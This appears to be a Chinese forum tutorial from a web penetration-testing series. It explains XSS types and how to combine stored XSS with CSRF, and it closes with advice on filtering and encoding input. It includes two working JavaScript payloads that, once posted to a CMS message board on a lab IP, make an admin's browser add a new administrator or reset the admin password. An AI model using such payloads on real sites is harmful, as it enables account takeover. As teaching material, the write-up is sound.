XSS与CSRF的联合使用

zhaorong · 发表于 WEB前端技术 2021-7-17 16:03:07


	本帖最后由 zhaorong 于 2021-7-17 16:04 编辑前言 XSS漏洞简介：XSS注入漏洞又称为"跨站脚本攻击 Cross Site Scripting 为了不和层叠样式表 Cascading Style Sheets,CSS 混淆所以将跨站脚本攻击缩写为XSS。XSS注入攻击的原理其实和sql注入攻击的原理很相似攻击者将恶意的Script代码插入到网页中当正常用户浏览该页面时被嵌入的恶意Script代码就会被执行，从而达到恶意攻击正常用户的目的。目录：一、记一次web渗透过程二、web渗透---SQL盲注漏洞三、XSS与CSRF的联合使用四、web渗透---文件包含漏洞五、web渗透---命令执行漏洞六、web渗透---报错注入漏洞 XSS分类跨站脚本注入漏洞是由于WEB服务器读取了用户可控数据输出到HTML页面的过程中没有进行安全处理导致的用户可控数据包括url 参数 HTTP头部字段cookie referer HOST等 HTTP请求正文等。（（1）反射型XSS：攻击者输入可控数据到HTML页面中通常是url 所以输入的数据没有被存储只能在单次请求中生效。（2）存储型XSS：攻击者输入可控数据到HTML页面通常是POST表单：评论留言板登录框等所以输入的数据会被存储到数据库中，由于数据经过存储可以持续被读取出来攻击的次数比反射型XSS多。（3）DOM-XSS：攻击者可控数据通过JavaScript和DOM技术输出到HTML中其实是一种特殊类型的反射型XSS 基于DOM文档对象模型的一种漏洞。 XSS危害（1）流量劫持利用木马修改浏览器不停的弹出新的窗口强制性的让用户访问指定的网站为指定网站增加流量（2）获取用户cookie信息盗取账号（普通用户管理员等账号）（3）篡改、删除页面信息钓鱼操作（4）配合CSRF攻击实施进一步的攻击控制被害人的电脑访问其他网站步骤一：由于在对管理员帐号编辑的地方，进行密码修改时没有进行2次校验或确认存在CSRF漏洞使用XSS脚本对该CSRF漏洞进行利用通过burp将需要伪造的http请求固有的属性复制到自己编写的代码中 CSRF跨站请求伪造：利用http请求将服务器信赖的http请求发送给服务器服务器识别之后作处理以下为CSRF与script的利用通过打开增加管理员的界面将请求头部发送和发送新的管理员账户密码 <script>function loadXMLDoc() { var xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST","http://192.168.159.1/510/510cms/admin/adminadd.php?admin=add",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("name=Test&passwd=abc123&remark= test&mid=2&adminsubmit=%CC%E1%BD%BB"); } loadXMLDoc(); </script> 复制代码将script代码在留言板发送给管理员管理员查看留言板之后服务器会跳转界面执行指令下图为添加成功的su管理员通过burp代理拦截可以查看登陆执行的结果步骤二：同理可得将需要伪造的页面通过burp拦截下来获取其中固有的属性再将这些属性参数复制到编码中下图代码为打开修改密码的页面 <script>function loadXMLDoc() { var xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST","http://192.168.159.1/510/510cms/admin/adminadd.php?Id=1",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("name=Test&passwd=123456&remark=%B3%AC%BC%B6%B9%DC%C0%E D%D4%B1&mid=1&adminsubmit=%CC%E1%BD%BB"); } loadXMLDoc(); </script> 复制代码发送http头部请求和发送更改密码的指令将账户admin的密码改为123456 发送到留言板管理员查看留言板会跳转页面执行指令登入原始的账户和密码通过burp可以看到密码输入不正确说明密码已经被服务器改了再输入自己改的密码123456 发现登入成功总结作为OWASP TOP10中的漏洞之一 XSS注入漏洞在web安全中还是有很多案例存在建站人员应该提前做好防护措施可以在服务端对用户可控数据进行过滤和编码操作如将所有on事件,script等关键字进行过滤将所有<,>,”,’,=等特殊符号进行实体化编码或百分号编码便可以修复。

微信扫一扫 分享朋友圈

XSS与CSRF的联合使用

微信扫一扫分享朋友圈